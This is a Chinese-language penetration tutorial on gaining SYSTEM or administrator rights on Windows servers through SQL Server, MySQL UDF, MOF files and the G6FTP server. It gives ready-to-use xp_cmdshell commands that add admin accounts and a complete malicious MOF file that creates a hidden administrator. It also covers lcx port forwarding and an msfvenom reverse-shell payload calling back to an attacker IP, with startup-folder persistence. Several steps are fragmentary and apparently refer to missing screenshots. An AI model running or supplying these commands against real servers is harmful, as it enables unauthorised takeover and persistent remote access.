Windows提权之第三方提权(九)
除了系统自带的服务外 ,安装第三方的软件例如 mysql sqlserver ftp等应用软件,如果权限设置不对, 会对服务器造成安全隐患,从而导致服务器被提权。
一.sqlserver提权
1.描述
如果网站里面使用的数据库是sqlserver 那么如果找到sa的密码,利用提权脚本,执行命令,但是不一定的系统权限,还要看管理员开始安装sqlserver的权限设置 一般情况是system权限或者pulic 均能执行命令
2.敏感文件
web.config
config.asp
conn.aspx
database.aspx
3.复现
使用mssql连接工具或者webshell net提权脚本输入账号和密码连接开启xp_cmdshell
开启xp_cmdshell
Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
Exec master.dbo.xp_cmdshell 'net user lx 123456 /add & net localgroup administrators lx /add'
Exec master.dbo.xp_cmdshell 'systeminfo'
查看当前权限也是一个普通用户。可以执行一些基础的命令,可以上传溢出提权工具 再来提高当前用户的权限。 有些时候 是一个系统权限 主要还是要看目标管理员在开始安装sqlserver的时候给的是什么样的权限。
二.mysql提权
1.描述
在mysql 可以使用自定义函数进行提权,udf = user defined function 用户自定义函数对于自定义的函数 在mysql5.1版本以后就需要放在插件插件目录 /lib/plugin ,文件后缀微
dll,c语言编写
2.插件目录
可以使用语句查询plugin插件目录
show variables like "%plugin%"
我们打开phpadmin
假如这个目录 或者配置文件不存在 我们都无法读出成功
我们查看是3306端口开启
然后去我们访问
我们首先先找到这个目录
C:/phpStudy/MySQL/lib
把这个dll文件你删除掉
我么首先关闭phpstudy服务 让后在删除删除
然后我们导出udf
这里显示导出成功
然后我们点击 创建函数
这里是创建函数的sql语句
然后我们查看用户
然后查看创建的函数
查看端口
自己输入指令
select sys_eval('whoami')
发现我们是系统权限
所以我们增加超级管理员
然后查询权限
然后我们就可以是使用3389登录
3.mysql提权问题
1.版本有32和64位的mysql创建函数的方法一样,但是64版本的要用64的udf.dll
2.TheMySQLserverisrunningwiththe–secure-file-privoptionsoitcannotexecutethis statement
这种是mysql默认设置是不允许导入导出 需要在my.ini添加 secure-file-priv = 保存重启mysql即可
SELECT @@global.secure_file_priv
如果显示null 那摩也不行
3.Can’tcreate/writetofile‘D:\phpStudy\MySQL\lib\plugin\moonudf.dll
这种是没有权限导出或者plugin目录不存在,需要手动创建或者权限不够
三.mof提权
1.描述
托管对象格式 (MOF)文件是创建和注册提供程序、事件类别和事件的简便方法。在 MOF文件中创建类实例和类定义后,可以对该文件进行编译。编译 MOF文件将在 CIM储存库中注册所有的类定义和实 例。之后,提供程序、事件类别和事件信息 便可由 WMI和 VisualStudioAnalyzer使用。 在 MOF文件中创建提供程序、事件类别和事件类的实例,并且定义想要分析的自定义对象,之后,就可以对该文 件进行编译
2.原理
mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。
其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命
令。
3.影响版本
1.windows03及以下版本
2.mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录3.secure-file-priv参数不为null
4.复现
公开的nullevt.mof利用代码
#pragma namespace("\\\\.\\root\\subscription")
instance of EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2"; Name = "filtP2";
Query = "Select * From InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user moonteam$ xxx12456 /add && net localgroup administrators moonteam$ /add\")";
};
instance of FilterToConsumerBinding
{
Consumer = $Consumer; Filter = $EventFilter;
};
上传mof.php
然后添加host文件
首先我们要增加账户
先查看账户
我们来创建隐藏账户(在net user 里边看不见)
我们在这里查看隐藏账号
这里边也创建了文件
我们来输入
net.exe user moonteam$ xxx12456 /add && net localgroup administrators moonteam$ /add\
在这里我们发现已经成功了
四.G6FTP提权
1.描述
G6FTPServer新一代的 FTP服务器端软件,支持 RFC-959标准并增强其中的某些功能,上传和下载都可以续传,实时查看运行状态,占用带宽,还有很多功能。
2.原理
G6FTP的默认端口为8021,只侦听在127.0.0.1的8021端口上,所以无法从外部直接访问,需要进行端 口转发(使用lcx工具(lcx具有三个功能:监听、转发、端口转向))。
netstat -ano 查看G6fp端口
TCP 127.0.0.1:21 0.0.0.0:0 LISTENING 1072
TCP 127.0.0.1:8021 0.0.0.0:0 LISTENING 1072
TCP 192.168.25.146:21 0.0.0.0:0 LISTENING 1072
3.复现
在webshell访问 配置文件C:\ProgramFiles (x86)\Gene6 FTP Server\RemoteAdmin\Remote.ini
C:\Program Files (x86)\Gene6 FTP Server\RemoteAdmin\
我们打开编辑
[Server]
IP=127.0.0.1,8021\r\n
GrantAllAccessToLocalHost=0
[Acct=Administrator]
Enabled=1
Rights=0
Password=E10ADC3949BA59ABBE56E057F20F883E
[Acct=admin]
Enabled=1
Password=E10ADC3949BA59ABBE56E057F20F883E
Domain=
RootFolder=
Rights=0
IPAccessList=
[Acct=moonsec]
Enabled=1
Password=E10ADC3949BA59ABBE56E057F20F883E
Domain=*
RootFolder=C:
Rights=1
IPAccessList=
[Acct=admins]
Enabled=1
Password=E10ADC3949BA59ABBE56E057F20F883E
Domain=
RootFolder=
Rights=0
IPAccessList=
密码是123456
可以看到8021端口只能被本地访问
使用端口转发工具把8021端口转发出来
C:\inetpub\wwwroot\lcx.exe
我们输入
然后 输入执行
C:\inetpub\wwwroot\lcx.exe -tran 2333 127.0.0.1 8021
然后我们再终端输入
然后我们打开win10
新建 连接
在域控里新建用户
ftp 192.168.25.146
ftp 192.168.25.146
然后
我们这里失败了
我们呢也可以试试别的
ftp://192.168.25.146/
我们右键点击登录
我们用这个文件来替换
然后我们生成
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.25.138 lport=6666 -f exe > 8.exe
然后我们再本地做监听
然后我们生成好的 上传到目标主机
然后重启
我们也可以放到启动项
ftp://192.168.0.108/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start% 20Menu/Programs/Startup/
里来进行提权